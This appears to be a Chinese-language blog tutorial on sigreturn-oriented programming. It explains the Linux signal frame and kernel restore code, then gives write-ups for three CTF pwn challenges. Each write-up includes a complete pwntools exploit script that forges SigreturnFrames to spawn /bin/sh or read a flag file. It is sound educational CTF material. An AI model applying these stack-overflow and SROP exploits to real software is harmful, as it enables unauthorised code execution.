0x1 Signal信号机制
SROP主要源于Signal信号机制,例如当出现SIGTRAP信号(也就是int3, 断点指令)时,内核会调用setup_rt_frame函数来保存现场(也就是寄存器等相关的信息),以便于处理完成后,程序可以继续执行。
简单说,setup_rt_frame会往栈上写一个frame。内核中的结构体定义以及结构图如下:
// SigreturnFrame
struct rt_sigframe {
char __user *pretcode;
struct ucontext uc;
struct siginfo info;
};
// ucontext
struct ucontext {
unsigned long uc_flags;
struct ucontext *uc_link;
stack_t uc_stack; // ss_sp/flags/size
struct sigcontext uc_mcontext
sigset_t uc_sigmask;
};
// sigcontext
struct sigcontext {
__u64 r8, r9, r10, r11, r12, r13, r14, r15;
__u64 rdi, rsi, rbp, rbx, rdx, rax, rcx, rsp, rip;
__u64 eflags;
__u16 cs, gs, fs, ss;
__u8 err, trapno, oldmask, cr2;
__u64 fpstate;
__u64 reserved1[8];
};

struct rt_sigframe的pretcode指向的是一段trampoline,
__kernel_rt_sigreturn:
movq $__NR_rt_sigreturn, %rax // mov rax, 15
syscall // syscall
用于执行rt_sigreturn系统调用,恢复保存在栈内的frame,此时用户程序可以正常执行。
0x2 SROP原理
SROP就是利用栈上保存的frame可以用户态修改,伪造恶意frame,通过rt_sigreturn系统调用恢复frame,来控制寄存器的值。
本质上是栈上的数据,可以自己手搓,但是pwntools提供了对应的类SigreturnFrame。但是需要注意的是,pwntools的类不含pretcode,不含siginfo,设置&fpstate=0跳过FPU恢复,reserved1[8]压缩成8B的_reserved,err/trapno/oldmask/cr2从4x1B拉到4x8B,sigmask设置为8字节。本质上pwntools只是将restore_sigcontext的内容设置为正确的偏移和值即可,精确对齐的只有偏移 40~192 的寄存器区 + 偏移 224 的 fpstate 指针。
static bool restore_sigcontext(struct pt_regs *regs,
struct sigcontext __user *usc,
unsigned long uc_flags)
{
struct sigcontext sc;
current->restart_block.fn = do_no_restart_syscall;
// &sc sigcontext
if (copy_from_user(&sc, usc, CONTEXT_COPY_SIZE))
return false;
#ifdef CONFIG_X86_32
loadsegment(gs, sc.gs);
regs->fs = sc.fs;
regs->es = sc.es;
regs->ds = sc.ds;
#endif /* CONFIG_X86_32 */
regs->bx = sc.bx;
regs->cx = sc.cx;
regs->dx = sc.dx;
regs->si = sc.si;
regs->di = sc.di;
regs->bp = sc.bp;
regs->ax = sc.ax;
regs->sp = sc.sp;
regs->ip = sc.ip;
#ifdef CONFIG_X86_64
regs->r8 = sc.r8;
regs->r9 = sc.r9;
regs->r10 = sc.r10;
regs->r11 = sc.r11;
regs->r12 = sc.r12;
regs->r13 = sc.r13;
regs->r14 = sc.r14;
regs->r15 = sc.r15;
#endif /* CONFIG_X86_64 */
regs->cs = sc.cs | 0x03;
regs->ss = sc.ss | 0x03;
regs->flags = (regs->flags & ~FIX_EFLAGS) | (sc.flags & FIX_EFLAGS);
regs->orig_ax = -1;
#ifdef CONFIG_X86_64
if (unlikely(!(uc_flags & UC_STRICT_RESTORE_SS) &&
user_64bit_mode(regs)))
force_valid_ss(regs);
#endif
// fpstate = 0
return fpu__restore_sig((void __user *)sc.fpstate,
IS_ENABLED(CONFIG_X86_32));
}
0x3 实操
ciscn_2019_s_3
(.venv) ➜ s_3 checksec --file=ciscn_s_3
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 68 Symbols No 0 0 ciscn_s_3
先进行简单的逆向分析:
signed __int64 vuln()
{
signed __int64 v0; // rax
char buf[16]; // [rsp+0h] [rbp-10h] BYREF
v0 = sys_read(0, buf, 0x400u);
return sys_write(1u, buf, 0x30u);
}
明显的栈溢出。
同时存在两个gadgets
__int64 gadgets() { return 15; }
__int64 sub_4004E2() { return 59; }
此时可以直接利用gadgets来完成利用。但是s_3是没有/bin/sh字符串的,所以需要在buf里面写一个/bin/sh\x00字符串。就需要定位buf的地址:
首先断点下在read的下面0x400503的位置上。

此时可以看到本质上,[rsp+buf]就是buf的地址,存入了rsi,所以rsi就是buf地址。

最后结尾的sys_write内,有一个栈上的地址:

计算一下偏移,就可以确定buf的地址,此时往buf写一个/bin/sh\x00,即可:
pwndbg> p/x 0x7ffda677d738-0x7ffda677d5e0
$2 = 0x158
此时只需要按照标准的SROP完成即可,
from pwn import *
elf = ELF("./ciscn_s_3")
libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6")
context(arch = elf.arch, os = elf.os, log_level = 'debug')
p = process([elf.path])
payload = flat([
b"a"* 0x10,
p64(elf.sym['vuln']),
])
p.send(payload)
stack_addr_for_binSh = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) - 0x168
info("buf addr: " + hex(stack_addr_for_binSh))
# gdb.attach(p, "b *0x400503\nc")
s = SigreturnFrame()
s.update(
rax = 59,
rdi = stack_addr_for_binSh,
rsi = 0,
rdx = 0,
rip = next(elf.search(asm("syscall"))),
)
payload = flat([
b"/bin/sh\x00",
b"a"* 0x8,
p64(next(elf.search(asm("mov rax, 15")))),
p64(next(elf.search(asm("syscall")))),
s
])
p.send(payload)
p.interactive()
rootersctf_2019_srop
signed __int64 sub_401000()
{
signed __int64 v0; // rax
char buf[128]; // [rsp+0h] [rbp-80h] BYREF
v0 = sys_write(1u, ::buf, 0x2Au);
return sys_read(0, buf, 0x400u);
}
先打印buf内容,然后再往buf内读,读的时候栈溢出,且无外部函数,纯系统调用。
再read的下面下断点,也就是0x00401035,对应leave ret。运行发现,实际buf内有一串字符串,
.data:0000000000402000 48 65 79 2C 20 63 61 6E 20 69 buf db 'Hey, can i get some feedback for the CTF?',0Ah
所以需要手动泄露libc的地址。但是没有puts,write等函数,也无法泄露libc地址,所以SROP布栈。同时,ret指令也有限,需要借助多个指令滑动。
from pwn import *
elf = ELF("./rootersctf_2019_srop")
context(arch = elf.arch, os = elf.os)
context.log_level = "debug"
p = process([elf.path])
buf_addr = 0x402000
pop_rax_syscall = 0x401032
syscall_leave_ret = 0x401033
s = SigreturnFrame()
s.update(
rax = 0,
rdi = 0,
rsi = buf_addr,
rdx = 0x300,
rbp = buf_addr + 0x20,
rip = syscall_leave_ret,
)
payload = flat([
b"a" * 0x88,
p64(pop_rax_syscall),
p64(15),
s
])
p.sendafter(b"Hey, can i get some feedback for the CTF?", payload)
s = SigreturnFrame()
s.update(
rax = 59,
rdi = buf_addr,
rsi = 0,
rdx = 0,
rip = syscall_leave_ret,
)
payload = flat(
b"/bin/sh\x00",
)
payload = payload.ljust(0x28, b"\x00")
payload += flat([
p64(pop_rax_syscall),
p64(15),
s
])
p.send(payload)
p.interactive()
V&N2020 babybabypwn
查看对应的保护:
(.venv) ➜ V&N2020 babybabypwn checksec --file=vn_pwn_babybabypwn_1
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH No Symbols No 02vn_pwn_babybabypwn_1
对应的核心函数反汇编:
unsigned __int64 sub_1347()
{
_BYTE buf[264]; // [rsp+0h] [rbp-110h] BYREF
unsigned __int64 v2; // [rsp+108h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("Welcome to v&n challange!");
printf("Here is my gift: 0x%llx\n", &puts);
printf("Please input magic message: ");
read(0, buf, 0x100u);
syscall(15);
return __readfsqword(0x28u) ^ v2;
}
题目给出puts的地址,等价于给出了libc的基地址。read往缓冲区读0x100字节,调用syscall系统调用,对应的系统调用号是15,也就是sigreturn。所以buf内可以直接布置SigreturnFrame
由于系统调用禁止execve,所以orw即可
from pwn import *
elf = ELF("./vn_pwn_babybabypwn_1")
libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6")
context(arch = elf.arch, os = elf.os, log_level = "debug")
p = process([elf.path])
gl = lambda ins: p64(next(libc.search(asm(ins), executable=True)))
p.recvuntil(b"Here is my gift: ")
libc.address = int(p.recv(14), 16) - libc.sym['puts']
info("libc base: " + hex(libc.address))
buf = libc.bss()
# call read
s = SigreturnFrame()
s.update(
rdi = 0,
rsi = buf,
rdx = 0x300,
rsp = buf,
rip = libc.sym['read']
)
payload = flat([s])
p.sendafter(b"Please input magic message: ", payload[8:])
sleep(1)
# fill read
flag_addr = buf + 0x100
payload = flat([
# open
gl("pop rdi; ret"),
p64(flag_addr),
gl("pop rsi; ret"),
p64(0),
p64(libc.sym['open']),
# read
gl("pop rdi; ret"),
p64(3),
gl("pop rsi; ret"),
p64(buf),
gl("pop rdx ; xor eax, eax ; ret;"),
p64(0x200),
p64(libc.sym['read']),
# write
gl("pop rdi; ret"),
p64(1),
gl("pop rsi; ret"),
p64(buf),
gl("pop rdx ; xor eax, eax ; ret"),
p64(0x200),
p64(libc.sym['write']),
])
payload = payload.ljust(0x100, b"\x00")
payload += b"./flag\x00"
p.send(payload)
p.interactive()
评论(0)
暂无评论